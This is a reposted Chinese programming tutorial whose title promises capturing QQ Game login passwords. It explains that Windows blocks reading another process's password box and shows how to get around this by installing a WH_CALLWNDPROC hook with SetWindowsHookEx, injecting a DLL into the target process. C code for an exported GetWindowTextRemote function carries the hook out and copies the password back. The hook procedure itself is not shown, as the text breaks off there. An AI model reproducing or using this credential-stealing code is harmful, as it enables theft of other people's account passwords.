使用HOOK獲取QQ遊戲登陸密碼

//經過HOOK獲取QQ遊戲登陸密碼
不得不先說一下API函數SendMessage:
使用SendMessage向編輯框窗口發送WM_GETTEST消息,能夠輕易獲取到編輯框的內容(就算這個窗口不屬於同一進程)。
可是有一個特例,那就是當編輯框窗口具備ES_PASSWORD風格(即密碼輸入框)且不輸入同一進程時,使用上面的方法就失效了。
通俗的說,就是當你要使用SendMessage讀取的密碼框不屬於同一個進程時,是讀取不到任何內容的。
這也許是微軟從安全角度考慮作的手腳吧。
如何解決這個問題?
若是咱們能將SendMessage放到目標進程中執行問題就解決了。由於屬於同一個進程時使用SendMessage是能夠讀取到密碼框的內容的。
如何將SendMessage放到目標進程中執行呢?使用HOOK(或者進程注入)。
關於鉤子(HOOK)
鉤子(Hook),是Windows消息處理機制的一個平臺,應用程序能夠在上面設置子程以監視指定窗口的某種消息,並且所監視的窗口能夠是其餘進程所建立的。
當消息到達後,在目標窗口處理函數以前處理它。鉤子機制容許應用程序截獲處理window消息或特定事件。
鉤子其實是一個處理消息的程序段,經過系統調用,把它掛入系統。每當特定的消息發出,在沒有到達目的窗口前,鉤子程序就先捕獲該消息,亦即鉤子函數先獲得控制權。
這時鉤子函數便可以加工處理(改變)該消息,也能夠不做處理而繼續傳遞該消息,還能夠強制結束消息的傳遞。
如何安裝一個鉤子?
使用API函數SetWindowsHookEx,原型及參數說明以下
HHOOK SetWindowsHookEx(
int idHook, // 鉤子的類型,本例採用WH_CALLWNDPROC(窗口過程鉤子)
HOOKPROC lpfn, // 鉤子函數地址(即鉤子函數的函數名)
HINSTANCE hMod, // 鉤子函數所在的應用程序實例句柄,(本例爲DLL的句柄)
DWORD dwThreadId // 目標線程ID,即鉤子的宿主線程
);
注意:當最後一個參數爲0時表示安裝的是全局鉤子,此時要求鉤子函數必需要在DLL中。
MSDN上關於這個函數的說明很詳細的。
準備活動作完了。下面是本程序的實現:
(1) GetWindowTextRemote.DLL
該DLL導出了一個函數GetWindowTextRemote,其它應用程序經過調用這個函數就能實現對其它應用程序密碼編輯框內容的讀取。
//-------------------------------------------------------
// GetWindowTextRemote
// 插入本DLL到遠程進程
// 從遠程編輯框控件中獲取密碼
//http://www.baoluowanxiang.com
// 返回值:讀取到的密碼字符數
//-------------------------------------------------------
__declspec(dllexport) int GetWindowTextRemote(HWND hWnd, LPSTR lpString)
{
g_hWnd = hWnd;
//給目標進程安裝一個窗口過程鉤子
g_hHook = SetWindowsHookEx(WH_CALLWNDPROC,(HOOKPROC)HookProc,
hDll, GetWindowThreadProcessId(hWnd,NULL) );
if( g_hHook==NULL ) {
lpString[0] = '\0';
return 0;
}
//註冊一個消息,用於通知遠程進程讀取密碼
if (WM_HOOKSPY == 0)
WM_HOOKSPY = RegisterWindowMessage( "WM_HOOKSPY_RK" );
// 向遠程進程發送讀取消息,觸發其讀取密碼
SendMessage( hWnd,WM_HOOKSPY,0,0 );
strcpy( lpString,g_szPassword );
return strlen(lpString);
}
另外一個重要的函數就是鉤子過程了:
//-------------------------------------------------------html


本文轉自 ☆★ 一應俱全 ★☆ - www.baoluowanxiang.com 轉載請註明出處,侵權必究!
原文連接:http://www.baoluowanxiang.com/a/program/c/2011/0703/3448.html安全

相關文章
相關標籤/搜索